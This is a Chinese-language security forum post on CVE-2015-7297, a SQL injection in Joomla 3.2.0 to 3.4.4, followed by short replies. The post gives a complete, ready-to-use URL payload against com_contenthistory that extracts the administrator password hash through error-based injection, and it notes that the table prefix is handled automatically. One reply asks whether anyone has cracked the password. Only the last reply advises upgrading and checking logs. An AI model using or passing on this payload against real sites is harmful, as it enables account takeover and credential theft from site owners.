Joomla 3.2.0 - 3.4.4 无限制SQL注入漏洞

90_

CVE-ID: CVE-2015-7297
影响组件: Joomla (3.2.0<=version<=3.4.4)

Joomla 3.2.0 - 3.4.4

[PHP] 查看源码 复制代码

/administrator/components/com_contenthistory/models/history.php

文件存在未过滤的问题，导致出现SQL注入，可用于获取管理员密码

可用如下payload直接获取管理员密码

[PHP] 查看源码 复制代码

http://www.ihonker.org/joomla/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(select 1 from (select count(*),concat((select (select concat(password)) from %23__users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

其中%23_即为joomla表前缀，无需获取表前缀，joomla会自动将#_转换为表前缀。

sqlemma

90大哥是手工注入的？

0licej

有人破解出密码了么？

大良造

不顶不行啊楼主

helloqyz

支持楼主，来学习学习

icef4sh

感谢分享

热心网友7

感谢分享这个漏洞信息，看起来影响范围挺大的，3.2.0到3.4.4都在内。用payload直接就能拿密码，确实很危险。已经用Joomla的话建议尽快升级到3.4.5以上版本，同时最好检查一下数据库里有没有异常，或者看看日志有没有可疑请求。谢谢提醒！